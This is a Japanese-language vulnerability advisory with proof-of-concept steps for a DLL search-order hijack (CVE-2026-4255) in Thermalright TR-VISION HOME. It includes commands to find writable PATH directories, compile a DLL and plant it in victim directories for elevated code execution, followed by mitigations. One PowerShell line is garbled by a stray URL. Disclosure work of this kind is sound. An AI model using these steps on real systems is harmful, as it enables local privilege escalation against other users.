
重要度: HIGH (CVSS 8.4)
CWE: CWE-829 信頼できない制御領域からの機能の包含
公開日: 2026/03/16
CNA: Toreon
影響を受けるバージョン: Thermalright TR-VISION HOME ≤ 2.0.5 (Windows 64-bit)
発見者: Ard33
Thermalright TR-VISION HOME は、Ftd2xx.dll (FTDI USB-シリアルライブラリ) をデフォルトの Windows DLL 検索順序で読み込みます。この順序には、保護されたシステムの場所よりも前にユーザーが書き込み可能なディレクトリが含まれます。TR-VISION HOME は常に管理者権限で実行され、読み込まれるライブラリに対する整合性チェックや署名検証を行わないため、PATH 上の任意のディレクトリに書き込み可能な攻撃者は、細工された Ftd2xx.dll を配置し、次回アプリケーションが起動された際に昇格された特権でロードさせることができます。
DLL を配置するために管理者権限は必要ありません。低特権ユーザーは、その後昇格して TR-VISION HOME を起動する任意のユーザーに対してこの脆弱性を悪用できます。
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
| 指標 | 値 |
|---|---|
| 攻撃元区分 | Local |
| 攻撃の複雑さ | Low |
| 攻撃に必要な条件 | None |
| 必要な特権レベル | None |
| ユーザー関与 | Active (被害者がアプリを起動) |
アプリケーションは、完全修飾パスを指定せずに LoadLibrary("Ftd2xx.dll") を呼び出します(または暗黙的にインポートします)。Windows は、MSDN ダイナミックリンクライブラリの検索順序 で定義された検索順序に従ってライブラリを解決します。
C:\Windows\System32)PATH 環境変数にリストされたディレクトリ ← 悪用可能攻撃者は、System32 よりも先に PATH に現れるユーザー書き込み可能なディレクトリに Ftd2xx.dll を配置します。C:\Users\<User>\.local\bin) はそのようなディレクトリの 1 つであり、デフォルトで PATH に存在するため、信頼性の高いドロップ場所となります。
| ソフトウェア | バージョン | プラットフォーム |
|---|---|---|
| Thermalright TR-VISION HOME | ≤ 2.0.5 | Windows x64 |
Windows 11 上の TR-VISION HOME 2.0.5 でテスト済み。
%PATH% 上に存在するユーザー書き込み可能なディレクトリ1. 書き込み可能な PATH ディレクトリを特定する
$env:PATH -split ';' | Where-Object {
if (-not $_ -or -not (Test-Path $_)) { return $false }
try {
$t = Join-Path $_ '.wrtest'
[System.IO.File]:https://raw.githubusercontent.com/ard33/cve-2026-4255/HEAD/:Create($t).Close()
Remove-Item $t -Force
$true
} catch { $false }
}
信頼性の高いデフォルト: C:\Users\<User>\.local\bin
2. PoC DLL をコンパイルする
MinGW (クロスまたはネイティブ):
gcc -shared -o Ftd2xx.dll poc/Ftd2xx.c -Wl,--out-implib,Ftd2xx.lib
MSVC:
cl /LD poc\Ftd2xx.c /Fe:Ftd2xx.dll
3. DLL を配置する
手順 1 で特定した任意の書き込み可能ディレクトリを選択します。2 つの一般的なデフォルト:
:: uv / pipx デフォルトスクリプトディレクトリ
copy Ftd2xx.dll "C:\Users\<victim>\.local\bin\Ftd2xx.dll"
:: Python Launcher (標準 Python インストール)
copy Ftd2xx.dll "C:\Users\<victim>\AppData\Local\Programs\Python\Launcher\Ftd2xx.dll"
この手順に昇格は不要です。
4. トリガー
被害者が TR-VISION HOME を起動します (例: スタートメニューまたはシステムトレイから)。UAC プロンプトによりアプリケーションが管理者権限で実行されます。初期化中に Ftd2xx.dll が検索順序を介して解決され、配置されたコピーが System32 よりも先に見つかり、攻撃者の DllMain が昇格されたプロセス内で実行されます。
5. 期待される結果
C:\Users\Public\CVE-2026-4255_pwned.txt が作成され、以下を含む:
TokenIsElevated = YES の確認TR-VISION HOME (PID 78940) が PATH ディレクトリ全体で Ftd2xx.dll を検索している Procmon のトレース — 配置されたコピーが解決されるまで、すべて NAME NOT FOUND を返す:

AppData\Local\Programs\Python\Launcher\ に配置された Ftd2xx.dll (日付 2025/12/26 — 発見日):

ロードされた DLL によって生成された昇格された cmd シェル — タイトルバーで管理者コンテキストを確認:

TR-VISION HOME バージョン 2.0.5:

Thermalright 向け:
Ftd2xx.dll をロードする:
LoadLibraryExA("C:\\Windows\\System32\\Ftd2xx.dll", NULL, LOAD_LIBRARY_SEARCH_SYSTEM32);
LoadLibraryEx で LOAD_LIBRARY_SEARCH_SYSTEM32 または LOAD_LIBRARY_SEARCH_APPLICATION_DIR フラグを使用する。WinVerifyTrust を介してロードされたライブラリのデジタル署名を検証する。HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode = 1)。ただし、これにより PATH ベースの配置が完全に緩和されるわけではない。ユーザー向け (一時的):
Ftd2xx.dll (FTDI D2XX ドライバパッケージから) を TR-VISION HOME インストールディレクトリ (例: C:\Program Files\TR-VISION HOME\) に直接配置する。アプリケーションディレクトリは最初に検索される場所であるため、そこにある正規のコピーが PATH ベースの配置よりも優先される。| 日付 | イベント |
|---|---|
| 2025/12/26 | 脆弱性発見 |
| 2025/12/27 | サポートチャネル経由でベンダー (Thermalright) に連絡 |
| 2026/03/16 | 公開開示 CVE-2026-4255 が Toreon CNA によって割り当て |
この概念実証は、教育および研究目的のみで提供されています。PoC ペイロードは意図的に無害であり、テキストファイルの書き込みとメッセージボックスの表示を行います。自身が所有するシステム、または明示的な書面によるテスト許可があるシステムに対してのみ使用してください。著者は誤用に対する責任を負いません。